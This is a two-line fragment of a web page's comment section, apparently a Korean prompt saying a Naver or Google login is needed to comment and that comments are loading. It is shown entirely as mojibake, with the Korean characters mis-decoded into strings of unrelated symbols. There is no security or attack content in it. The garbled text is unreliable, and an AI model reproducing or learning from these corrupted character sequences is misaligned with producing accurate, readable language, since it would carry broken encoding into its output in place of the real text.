๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ